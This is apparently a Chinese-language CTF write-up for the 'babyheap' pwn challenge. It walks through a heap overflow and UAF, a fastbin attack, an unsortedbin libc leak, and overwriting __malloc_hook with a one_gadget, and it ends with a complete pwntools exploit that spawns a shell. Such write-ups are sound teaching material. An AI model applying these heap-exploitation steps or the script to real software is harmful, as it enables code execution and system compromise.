0%

Fastbin attack+Unsortedbin leak

这道题目可以说是经典中的经典,堆溢出,Fastbin,Unsortedbin,malloc_hook……这些heap常见技术都涉及到了,完成这道题目,受益匪浅

babyheap

1643275729514

循环输入

1643275751088

1643275759522

64位,dynamically,全开

1643275717246

程序共有5个功能:

  • 1.allocate:输入“size”,申请“chunk”
  • 2.fill:输入“index”,输入“size”,输入“content”,向“chunk”填写数据
  • 3.free_chunk:输入“index”,释放“chunk”
  • 4.dump:输入“index”,打印“chunk”
  • 5.exit:退出程序

入侵思路

先搭好框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def allocate(size):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))

def fill(idx, size, content):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Content: ')
p.send(content)

def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(idx))

def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(idx))

查看“数据chunk”的结构:

1
2
3
4
5
allocate(0x20)	# chunk1
allocate(0x20) # chunk2
fill(0,0x8,'aaaaaaaa')
fill(1,0x8,'bbbbbbbb')
free(0)
1
2
3
4
5
6
7
8
9
pwndbg> heap
Free chunk (fastbins) | PREV_INUSE
Addr: 0x55fcbd664000
Size: 0x31
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x55fcbd664030
Size: 0x31
1
2
3
4
pwndbg> telescope 0x55fcbd664000	// chunk1
00:00000x55fcbd664000 ◂— 0x0
01:00080x55fcbd664008 ◂— 0x31 /* '1' */
02:00100x55fcbd664010 ◂— 0x0
1
2
3
4
5
pwndbg> telescope 0x55fcbd664030	// chunk2
00:00000x55fcbd664030 ◂— 0x0
01:00080x55fcbd664038 ◂— 0x31 /* '1' */
02:00100x55fcbd664040 ◂— 'bbbbbbbb'
03:00180x55fcbd664048 ◂— 0x0

可惜程序的“结构chunk”是看不到的:

1643637940828

“&addr[v3]”是由随机数计算得来的,所有的“结构信息”都放入这里

在“malloc模块”中:

1643638199723

这里的“a1”就是“addr”,可见其为一个结构体数组,拥有元素:inuse,size,ptr

在“free模块中”:

1643638538850

程序释放了“addr->ptr”,但是没有置空,所以可以打 UAF & Double free

但是“inuse”被置空,带来了诸多限制

首先程序是可以打Unlink的,不过需要两个关键数据:目标chunk的FD指针,libc基地址

1
2
3
4
5
6
7
8
allocate(0x10) # chunk1
allocate(0x10) # chunk2
allocate(0x10) # chunk3
allocate(0x10) # chunk4
allocate(0x80) # chunk5

free(1) # chunk2
free(2) # chunk3
1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20xg 0x55e6762a4000
0x55e6762a4000: 0x0000000000000000 0x0000000000000021 # chunk1
0x55e6762a4010: 0x0000000000000000 0x0000000000000000
0x55e6762a4020: 0x0000000000000000 0x0000000000000021 # chunk2(free_1)
0x55e6762a4030: 0x0000000000000000 0x0000000000000000
0x55e6762a4040: 0x0000000000000000 0x0000000000000021 # chunk3(free_2)
0x55e6762a4050: 0x000055e6762a4020 0x0000000000000000
0x55e6762a4060: 0x0000000000000000 0x0000000000000021 # chunk4
0x55e6762a4070: 0x0000000000000000 0x0000000000000000
0x55e6762a4080: 0x0000000000000000 0x0000000000000091 # chunk5
0x55e6762a4090: 0x0000000000000000 0x0000000000000000
1
2
3
pwndbg> bins
fastbins
0x20: 0x55e6762a4040 —▸ 0x55e6762a4020 ◂— 0x0

这里释放了“chunk2”和“chunk3”,可以修改“chunk1”使其溢出到“chunk2,chunk3”,最后覆盖“0x55e6762a4020”(攻击fastbins,获取任意地址写)

1
2
3
4
payload = p64(0)*3+p64(0x21)
payload +=p64(0)*3+p64(0x21)
payload +=p8(0x80)
fill(0,len(payload),payload)
1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20xg 0x561246beb000
0x561246beb000: 0x0000000000000000 0x0000000000000021 # chunk1(fake)
0x561246beb010: 0x0000000000000000 0x0000000000000000
0x561246beb020: 0x0000000000000000 0x0000000000000021 # chunk2(fake)
0x561246beb030: 0x0000000000000000 0x0000000000000000
0x561246beb040: 0x0000000000000000 0x0000000000000021 # chunk3(fake)
0x561246beb050: 0x0000561246beb080 0x0000000000000000
0x561246beb060: 0x0000000000000000 0x0000000000000021 # chunk4
0x561246beb070: 0x0000000000000000 0x0000000000000000
0x561246beb080: 0x0000000000000000 0x0000000000000091 # chunk5
0x561246beb090: 0x0000000000000000 0x0000000000000000
1
2
3
fastbins
0x20: 0x561246beb040 —▸ 0x561246beb080 ◂— 0x0
# 0x561246beb040(chunk3) -> 0x561246beb080(chunk5)

所以下一次申请“chunk3”,再下一次申请“chunk5”

于是我们提前在“chunk5”中布置好数据:

1
2
payload = p64(0)*3+p64(0x21)
fill(3,len(payload),payload)
1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20xg 0x5607a32c7000
0x5607a32c7000: 0x0000000000000000 0x0000000000000021 # chunk1(fake)
0x5607a32c7010: 0x0000000000000000 0x0000000000000000
0x5607a32c7020: 0x0000000000000000 0x0000000000000021 # chunk2(free_1_fake)
0x5607a32c7030: 0x0000000000000000 0x0000000000000000
0x5607a32c7040: 0x0000000000000000 0x0000000000000021 # chunk3(free_2_fake)
0x5607a32c7050: 0x00005607a32c7080 0x0000000000000000
0x5607a32c7060: 0x0000000000000000 0x0000000000000021 # chunk4(fake)
0x5607a32c7070: 0x0000000000000000 0x0000000000000000
0x5607a32c7080: 0x0000000000000000 0x0000000000000021 # chunk5(fake)
0x5607a32c7090: 0x0000000000000000 0x0000000000000000
1
2
3
pwndbg> bins
fastbins
0x20: 0x5607a32c7040 —▸ 0x5607a32c7080 ◂— 0x0

把“chunk2”(fake_chunk5)和“chunk3”申请回来,接着进行操作:

1
2
3
4
5
6
7
allocate(0x10) # chunk3
allocate(0x10) # chunk2(fake_chunk5)

fill(1,4,'aaaa') # to chunk2(fake_chunk5)
fill(2,4,'bbbb') # to chunk3
payload = p64(0)*3+p64(0x91)
fill(3,len(payload),payload) # to chunk4 but over chunk5
1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20xg 0x55cece518000
0x55cece518000: 0x0000000000000000 0x0000000000000021 # chunk1
0x55cece518010: 0x0000000000000000 0x0000000000000000
0x55cece518020: 0x0000000000000000 0x0000000000000021 # chunk2
0x55cece518030: 0x0000000000000000 0x0000000000000000
0x55cece518040: 0x0000000000000000 0x0000000000000021 # chunk3
0x55cece518050: 0x0000000061616161 0x0000000000000000
0x55cece518060: 0x0000000000000000 0x0000000000000021 # chunk4
0x55cece518070: 0x0000000000000000 0x0000000000000000
0x55cece518080: 0x0000000000000000 0x0000000000000091 # chunk5
0x55cece518090: 0x0000000062626262 0x0000000000000000

解释一下:

一,这里申请chunk5的时候,chunk5为“0x91”,需要先覆盖其为“0x21”,然后改回“0x91”

  • 我们需要chunk5为“0x91”,因为其不属于fastbin的范围,可以打 Unsortedbin leak
  • 利用 fastbin attack 已经成功把chunk5放入fastbin,但是不能直接malloc
  • 因为malloc会对 fastbin chunk 的size位进行检查,本程序中,其值必须为“0x21”
  • 成功申请到chunk5后,需要把“0x21”改回“0x91”

二,整个操作就是为了“欺骗”程序:把“chunk5”误认为“chunk3”

  • 本程序是有UAF漏洞的,但是不能直接使用

1643638538850

1643869146462

  • 虽然指针没有置空,但是程序在结构体中定义了“inuse”来记录chunk是否被使用
  • 但是经过上述操作后:用于记录“index”的结构体数组中,chunk3和chunk5指向同一片区域
  • 释放了chunk5,chunk5的“inuse”被设置为“0”,但是chunk3的“inuse”任然为“1”
  • 这下就可以打印chunk3,实现 Unsortedbin leak
1
2
3
4
5
6
dump(2)
p.recvuntil('Content:')
leak_addr=u64(p.recvuntil('\x7f')[2:].ljust(8,'\x00'))
libc_base=leak_addr-0x3c4b78
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))
1
2
3
4
5
In [6]: 0x7f1874b00000-0x7f1874ec4b78
Out[6]: -3951480

In [7]: hex(3951480)
Out[7]: '0x3c4b78'

获取了“libc_base”,就可以打“malloc_hook”和“one_gadget”

one_gadget:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

malloc_hook:

先获取“malloc_hook”的地址:malloc_hook == main_arena - 0x10

1
2
3
4
5
6
pwndbg> x/20xg 0x7f0a01f79ae0
0x7f0a01f79ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7f0a01f79af0 <_IO_wide_data_0+304>: 0x00007f0a01f78260 0x0000000000000000
0x7f0a01f79b00 <__memalign_hook>: 0x00007f0a01c3aea0 0x00007f0a01c3aa70
0x7f0a01f79b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 // target
0x7f0a01f79b20 <main_arena>: 0x0000000000000000 0x0000000000000000

我们的目标是在“malloc_hook”中写入“one_gadget”,但是不能直接 fastbin attack

​ // 没有对应大小的数据充当“fake_chunk -> size”

这里用了一个小技巧:(拆分现成的地址来构造数据,通常为“\x7f”)

1
2
3
pwndbg> x/20xw 0x7f0a01f79ae0-3
0x7f0a01f79add <_IO_wide_data_0+285>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f0a01f79aed <_IO_wide_data_0+301>: 0x60000000 0x0a01f782 0x0000007f 0x00000000

通过对目标地址进行“加减1”操作,可以把“\x7f”分离出来,而“0x7f”和“0x70”属于同一个fastbin(统一大小为“0x70”)

接下来就把“0x7f”当做数据就好了:

1
2
3
4
5
6
7
8
In [35]: hex(0x7f0a01f79aed+0x4*2) # addr of fake_chunk->size
Out[35]: '0x7f0a01f79af5'

In [36]: hex(0x7f0a01f79af5-0x8) # addr of fake_chunk->presize(head)
Out[36]: '0x7f0a01f79aed'

In [37]: hex(0x7f0a01f79aed+0x10) # addr of fake_chunk->FD(data)
Out[37]: '0x7f0a01f79afd'
1
2
3
4
5
In [38]: 0x7f0a01f79aed - 0x7f0a01bb5000
Out[38]: 3951341

In [39]: hex(3951341)
Out[39]: '0x3c4aed'

接下来继续进行 fastbin attack,打入“one_gadget”:

1
2
3
4
pwndbg> x/20xg 0x7f0a01f79afd+3 # fake_chunk->FD
0x7f0a01f79b00 <__memalign_hook>: 0x00007f0a01c3aea0 0x00007f0a01c3aa70
0x7f0a01f79b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f0a01f79b20 <main_arena>: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4527a)
fill(6, len(payload),payload)
allocate(255)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import*

p=process('./babyheap')
elf=ELF('./babyheap')
libc=ELF('./libc-2.23.so')

def allocate(size):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))

def fill(idx, size, content):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Content: ')
p.send(content)

def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(idx))

def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(idx))

#gdb.attach(p)

allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)

free(1)
free(2)

payload = p64(0)*3+p64(0x21)
payload +=p64(0)*3+p64(0x21)
payload +=p8(0x80)
fill(0,len(payload),payload)
payload = p64(0)*3+p64(0x21)
fill(3,len(payload),payload)

allocate(0x10)
allocate(0x10)

fill(1,4,'aaaa')
fill(2,4,'bbbb')
payload = p64(0)*3+p64(0x91)
fill(3,len(payload),payload)
allocate(0x80)
free(4)

dump(2)
p.recvuntil('Content:')
leak_addr=u64(p.recvuntil('\x7f')[2:].ljust(8,'\x00'))
libc_base=leak_addr-0x3c4b78
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

allocate(0x60)
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, len(payload),payload)

allocate(0x60)
allocate(0x60)

payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4527a)
fill(6, len(payload),payload)
allocate(255)

#pause()

p.interactive()